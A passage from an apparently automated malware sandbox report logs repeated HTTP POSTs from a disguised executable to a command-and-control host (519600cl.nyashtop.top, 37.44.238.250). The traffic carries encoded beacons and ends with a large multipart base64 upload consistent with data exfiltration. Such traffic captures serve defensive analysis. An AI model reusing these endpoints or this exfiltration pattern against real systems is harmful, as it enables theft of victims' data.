                                                                  Data Ascii: Z][RTATPZ]VVR^P^P_UYWQZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#\836T9&B>970&T'.):3!2+)[32(]?'F!.\*9
                                                                  Jan 13, 2025 13:11:49.843588114 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:49.977324009 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:49 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  57192.168.2.44997837.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:50.316319942 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:50.673512936 CET2580OUTData Raw: 5f 5a 5b 5e 54 42 51 57 5a 5d 56 56 52 5a 50 59 50 51 55 55 57 52 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _Z[^TBQWZ]VVRZPYPQUUWRZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#_,U965&7*)7%8*U%.(V*<3"));3"#?'F!.\*)
                                                                  Jan 13, 2025 13:11:50.949553967 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:51.078361988 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:50 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  58192.168.2.44998437.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:51.226448059 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:51.579670906 CET2580OUTData Raw: 5f 5e 5b 50 54 48 51 54 5a 5d 56 56 52 5e 50 53 50 5f 55 5f 57 50 5a 5b 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: _^[PTHQTZ]VVR^PSP_U_WPZ[T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ .#!!)107**+Y3!$8W>P39(*3'4[)>'F!.\*9
                                                                  Jan 13, 2025 13:11:51.854104042 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:51.981404066 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:51 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  59192.168.2.44999037.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:52.151679039 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:52.529196024 CET2580OUTData Raw: 5a 5c 5b 52 54 48 54 50 5a 5d 56 56 52 5b 50 5d 50 5b 55 5a 57 54 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[RTHTPZ]VVR[P]P[UZWTZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,#[62._%U<*:40>'+><W3!&+('!7+>'F!.\*-
                                                                  Jan 13, 2025 13:11:52.860862017 CET1236OUTData Raw: 5a 5c 5b 52 54 48 54 50 5a 5d 56 56 52 5b 50 5d 50 5b 55 5a 57 54 5a 5f 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: Z\[RTHTPZ]VVR[P]P[UZWTZ_T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^,#[62._%U<*:40>'+><W3!&+('!7+>'F!.\*-
                                                                  Jan 13, 2025 13:11:53.508474112 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:53.508618116 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:53.508785963 CET25INHTTP/1.1 100 Continue


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  60192.168.2.44999237.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:53.695878029 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2000
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:54.048486948 CET2000OUTData Raw: 5a 54 5b 54 54 41 54 56 5a 5d 56 56 52 5f 50 52 50 5e 55 55 57 54 5a 56 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZT[TTATVZ]VVR_PRP^UUWTZVT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#/!T!1;D=97Y%(6'+(:,$%+)''7<'F!.\*
                                                                  Jan 13, 2025 13:11:55.353610039 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:55.353771925 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:54 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 29 43 35 08 30 5f 2c 1f 38 12 32 59 2c 3f 33 59 2a 32 30 18 3e 04 1b 17 2d 07 20 58 2b 05 01 05 29 32 2c 50 24 50 3b 08 3d 13 2b 51 07 11 39 15 25 13 3e 14 2b 23 29 06 33 21 32 08 20 30 37 06 3f 39 21 0e 24 2b 2b 0d 3d 28 0b 13 2a 23 04 5b 31 3a 3a 1b 28 5a 36 12 3c 07 2f 5e 08 12 26 0b 3e 32 3a 0d 24 20 16 05 36 11 3c 5b 3e 06 3e 08 36 2f 3d 0b 29 3a 2d 58 30 2e 2a 03 27 00 2e 59 31 0b 23 0d 27 21 25 5d 27 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !)C50_,82Y,?3Y*20>- X+)2,P$P;=+Q9%>+#)3!2 07?9!$++=(*#[1::(Z6</^&>2:$ 6<[>>6/=):-X0.*'.Y1#'!%]')$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:55.353782892 CET308INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:54 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 152
                                                                  Connection: keep-alive
                                                                  Data Raw: 0c 15 21 1f 29 43 35 08 30 5f 2c 1f 38 12 32 59 2c 3f 33 59 2a 32 30 18 3e 04 1b 17 2d 07 20 58 2b 05 01 05 29 32 2c 50 24 50 3b 08 3d 13 2b 51 07 11 39 15 25 13 3e 14 2b 23 29 06 33 21 32 08 20 30 37 06 3f 39 21 0e 24 2b 2b 0d 3d 28 0b 13 2a 23 04 5b 31 3a 3a 1b 28 5a 36 12 3c 07 2f 5e 08 12 26 0b 3e 32 3a 0d 24 20 16 05 36 11 3c 5b 3e 06 3e 08 36 2f 3d 0b 29 3a 2d 58 30 2e 2a 03 27 00 2e 59 31 0b 23 0d 27 21 25 5d 27 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: !)C50_,82Y,?3Y*20>- X+)2,P$P;=+Q9%>+#)3!2 07?9!$++=(*#[1::(Z6</^&>2:$ 6<[>>6/=):-X0.*'.Y1#'!%]')$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:55.354347944 CET333INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 0c 15 21 1f 29 43 35 08 30 5f 2c 1f 38 12 32 59 2c 3f 33 59 2a 32 30 18 3e 04 1b 17 2d 07 20 58 2b 05 01 05 29 32 2c 50 24 50 3b 08 3d 13 2b 51 07 11 39 15 25 13 3e 14 2b 23 29 06 33 21 32 08 20 30 37 06 3f 39 21 0e 24 2b 2b 0d 3d 28 0b 13 2a 23 04 5b 31 3a 3a 1b 28 5a 36 12 3c 07 2f 5e 08 12 26 0b 3e 32 3a 0d 24 20 16 05 36 11 3c 5b 3e 06 3e 08 36 2f 3d 0b 29 3a 2d 58 30 2e 2a 03 27 00 2e 59 31 0b 23 0d 27 21 25 5d 27 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 152Connection: keep-alive!)C50_,82Y,?3Y*20>- X+)2,P$P;=+Q9%>+#)3!2 07?9!$++=(*#[1::(Z6</^&>2:$ 6<[>>6/=):-X0.*'.Y1#'!%]')$P/,Q=ZW
                                                                  Jan 13, 2025 13:11:55.355098963 CET333INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 0c 15 21 1f 29 43 35 08 30 5f 2c 1f 38 12 32 59 2c 3f 33 59 2a 32 30 18 3e 04 1b 17 2d 07 20 58 2b 05 01 05 29 32 2c 50 24 50 3b 08 3d 13 2b 51 07 11 39 15 25 13 3e 14 2b 23 29 06 33 21 32 08 20 30 37 06 3f 39 21 0e 24 2b 2b 0d 3d 28 0b 13 2a 23 04 5b 31 3a 3a 1b 28 5a 36 12 3c 07 2f 5e 08 12 26 0b 3e 32 3a 0d 24 20 16 05 36 11 3c 5b 3e 06 3e 08 36 2f 3d 0b 29 3a 2d 58 30 2e 2a 03 27 00 2e 59 31 0b 23 0d 27 21 25 5d 27 29 24 50 2f 0f 2c 51 0c 3d 5a 57
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 152Connection: keep-alive!)C50_,82Y,?3Y*20>- X+)2,P$P;=+Q9%>+#)3!2 07?9!$++=(*#[1::(Z6</^&>2:$ 6<[>>6/=):-X0.*'.Y1#'!%]')$P/,Q=ZW


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  61192.168.2.44999637.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:53.877485991 CET285OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:54.236011028 CET2580OUTData Raw: 5a 59 5e 51 51 44 54 57 5a 5d 56 56 52 51 50 52 50 5e 55 54 57 52 5a 5d 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZY^QQDTWZ]VVRQPRP^UTWRZ]T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^. "!1=24)/^$80.?=*8V0!+,X3!<?'F!.\*
                                                                  Jan 13, 2025 13:11:55.353761911 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:55.354185104 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:54 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:55.354243040 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:54 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:55.354526043 CET183INHTTP/1.1 100 Continue
                                                                  Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 4d 6f 6e 2c 20 31 33 20 4a 61 6e 20 32 30 32 35 20 31 32 3a 31 31 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 3e 5d 58 5a
                                                                  Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Mon, 13 Jan 2025 12:11:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive>]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  62192.168.2.44999937.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:55.805421114 CET261OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 2580
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:56.160634995 CET2580OUTData Raw: 5f 5f 5b 50 54 41 51 56 5a 5d 56 56 52 50 50 52 50 5c 55 58 57 54 5a 5a 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: __[PTAQVZ]VVRPPRP\UXWTZZT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\#^.# 2*_%U<+9+Y$"%=8W);3"%+,_'1]+>'F!.\*
                                                                  Jan 13, 2025 13:11:56.443703890 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:56.621407032 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:56 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  63192.168.2.45000537.44.238.250803492C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Jan 13, 2025 13:11:56.201683998 CET284OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: application/x-www-form-urlencoded
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 540
                                                                  Expect: 100-continue
                                                                  Connection: Keep-Alive
                                                                  Jan 13, 2025 13:11:56.548439026 CET540OUTData Raw: 5a 55 5b 52 54 44 54 50 5a 5d 56 56 52 5b 50 5c 50 58 55 5d 57 54 5a 57 54 5b 43 56 50 5f 56 5d 42 5a 56 50 55 50 57 56 59 57 52 50 52 5b 54 51 51 5d 43 59 5d 58 58 5a 50 56 54 5e 5a 53 50 44 5c 52 5e 5d 50 5c 54 55 59 59 5b 54 41 59 5a 5a 51 56
                                                                  Data Ascii: ZU[RTDTPZ]VVR[P\PXU]WTZWT[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^XY[^[Q[TZZZY^SUUPYYTY^C\_ZUZP]]YZ\UPTW_GQ_[XVRZC___[Z\ ,0!5"!$3 +9 $(60'>?3)<)$W _).'F!.\*-
                                                                  Jan 13, 2025 13:11:56.833502054 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:56.962287903 CET158INHTTP/1.1 200 OK
                                                                  Server: nginx
                                                                  Date: Mon, 13 Jan 2025 12:11:56 GMT
                                                                  Content-Type: text/html; charset=UTF-8
                                                                  Content-Length: 4
                                                                  Connection: keep-alive
                                                                  Data Raw: 3e 5d 58 5a
                                                                  Data Ascii: >]XZ
                                                                  Jan 13, 2025 13:11:56.964565992 CET298OUTPOST /authDatalifeCdnTemporary.php HTTP/1.1
                                                                  Content-Type: multipart/form-data; boundary=----pOyFIlFObCJ70au5Ye79xzaVgOK8jbLtRh
                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0
                                                                  Host: 519600cl.nyashtop.top
                                                                  Content-Length: 328546
                                                                  Expect: 100-continue
                                                                  Jan 13, 2025 13:11:57.160900116 CET25INHTTP/1.1 100 Continue
                                                                  Jan 13, 2025 13:11:57.161223888 CET12360OUTData Raw: 2d 2d 2d 2d 2d 2d 70 4f 79 46 49 6c 46 4f 62 43 4a 37 30 61 75 35 59 65 37 39 78 7a 61 56 67 4f 4b 38 6a 62 4c 74 52 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22
                                                                  Data Ascii: ------pOyFIlFObCJ70au5Ye79xzaVgOK8jbLtRhContent-Disposition: form-data; name="0"Content-Type: text/plainZU[PTBT]Z]VVR\PXPYUXWVZ^T[CVP_V]BZVPUPWVYWRPR[TQQ]CY]XXZPVT^ZSPD\R^]P\TUYY[TAYZZQVP\^\[BP\PYB_UY^_ZSTQ[RXWAZ\^[ZQ]^UZ]]SQ[[^YRC__^X
                                                                  Jan 13, 2025 13:11:57.167638063 CET2472OUTData Raw: 54 54 52 52 63 6d 35 43 51 6b 73 33 63 32 64 61 4e 48 6c 4e 56 55 78 48 4e 31 68 72 64 48 42 31 61 56 4e 68 53 7a 64 71 63 32 30 7a 63 31 46 51 54 6d 51 35 61 57 64 6a 5a 58 70 49 4e 6b 74 6d 63 46 68 4b 4f 56 52 33 53 47 59 34 56 48 59 72 64 6a
                                                                  Data Ascii: TTRRcm5CQks3c2daNHlNVUxHN1hrdHB1aVNhSzdqc20zc1FQTmQ5aWdjZXpINktmcFhKOVR3SGY4VHYrdjVuL0FDL2dkLzhBOExPLzZnLy9BSk0vL1lWeTNpVFhmK0VoMUdPNyt6L1o5a1FpMmI5K2NFbk9jRDFyS0NSeXZiaTF2Yk82U2E4U3lNa0x1QkhLMzNRd1pGWUE4OGdFY0dvbmVBL2FEYjM5bmRMYlF0TktZaklOb0R
                                                                  Jan 13, 2025 13:11:57.167718887 CET12360OUTData Raw: 4d 46 4e 61 64 46 6b 34 62 6c 52 79 55 31 64 36 59 57 5a 54 4f 58 4e 76 54 57 4a 34 63 33 5a 74 55 31 6c 44 62 45 68 35 55 58 6f 31 65 6e 56 50 4e 30 64 4e 61 57 77 77 64 6c 64 54 4d 32 68 6c 55 46 52 79 54 31 4e 34 64 44 68 4d 59 30 78 6b 55 56
                                                                  Data Ascii: MFNadFk4blRyU1d6YWZTOXNvTWJ4c3ZtU1lDbEh5UXo1enVPN0dNaWwwdldTM2hlUFRyT1N4dDhMY0xkUVhJdWxrbVpwR1paRTJIeW1PMHFBWkFDcFgweFZ3d3hNY21OQ2ZkUlI1VWVjK1duL2ZJcW5sVVhKUG0ySS90dWZLMXlMVzM0RlcydlliUzJ0WVpyNnlnOG5VM3VMaUthemFXV1NFeHhyaUZ4R2ZMYzdXR1E2RWNISXJ
                                                                  Jan 13, 2025 13:11:57.167779922 CET4944OUTData Raw: 53 56 42 51 57 54 46 44 61 44 68 34 62 32 78 53 53 46 70 77 62 44 4e 53 51 55 6c 6a 64 55 39 6c 56 6a 6c 53 64 32 56 75 62 32 45 30 63 31 42 6f 63 30 35 6f 4e 6e 4d 32 62 45 74 35 4e 58 4a 59 57 46 52 54 4c 79 74 61 4d 6c 6c 70 64 6d 6c 78 4f 55
                                                                  Data Ascii: SVBQWTFDaDh4b2xSSFpwbDNSQUljdU9lVjlSd2Vub2E0c1Boc05oNnM2bEt5NXJYWFRTLytaMllpdmlxOU9GT3FtK1c5blozMXQva0ZGT2lqbHVMYVc1Z2dubHQ0cytaTEhFekltQms1SUdCeDYweHNvenF5T3JJcFpsS0hLZ0RKSkdNZ1k1K2xkbnRJWHRkSEo3S3BaUGxldmtMUlVsemIzTm41ZjJ1MXVMWVNjSVo0V2pEZlR
                                                                  Jan 13, 2025 13:11:57.167841911 CET4944OUTData Raw: 5a 30 52 72 56 6b 56 31 61 7a 4a 54 52 57 74 52 61 6b 70 48 53 32 56 4a 65 54 4a 57 56 33 4d 31 63 56 5a 72 4e 32 59 78 4f 44 64 4d 4e 32 6c 4e 53 6d 30 34 53 30 5a 43 56 54 4e 48 4e 31 59 76 4b 30 49 35 4d 54 4a 61 4d 6d 39 58 54 33 46 68 57 44
                                                                  Data Ascii: Z0RrVkV1azJTRWtRakpHS2VJeTJWV3M1cVZrN2YxODdMN2lNSm04S0ZCVTNHN1YvK0I5MTJaMm9XT3FhWDRjMU8yMUtDNHRacnJVWWhickl1REtxTEtYWmY3eWpjdnpESTVITlM2a2wvYnBxbDl0bVMyYnc5WTIwTTdyaU5wejluSVFFOEZzQWtqMHlUeFZxSFNMT0I5NlI4KzlNYlFyQm5MR0xrOWVheGVVMUhHM05yL3dMSFJ
                                                                  Jan 13, 2025 13:11:57.172677994 CET4944OUTData Raw: 56 33 56 4d 5a 47 39 61 56 54 4e 76 64 33 68 73 56 48 6c 51 63 46 67 31 62 69 39 42 53 7a 4d 30 61 55 64 4e 59 6d 34 76 52 47 4e 73 63 44 46 56 56 6a 42 59 62 53 74 79 55 44 46 50 64 48 64 59 61 46 6c 5a 59 55 35 50 4c 7a 64 34 55 6d 56 32 55 6e
                                                                  Data Ascii: V3VMZG9aVTNvd3hsVHlQcFg1bi9BSzM0aUdNYm4vRGNscDFVVjBYbStyUDFPdHdYaFlZYU5PLzd4UmV2UnlkdGZSZEVaM2hmeUYxTnBwblFHTmZrREVEay93Q1RYZnJLcng5aUNLOHQxTFJKOU9RU056Q3gycXg0T2ZwVzU0UW4zYjRJN3lUY2d5MXZLTWpIOTVEMjl4NzFyeExnWVkrazgyb1ZlYU5rcldlbHZQcHIzWFU2OHZ
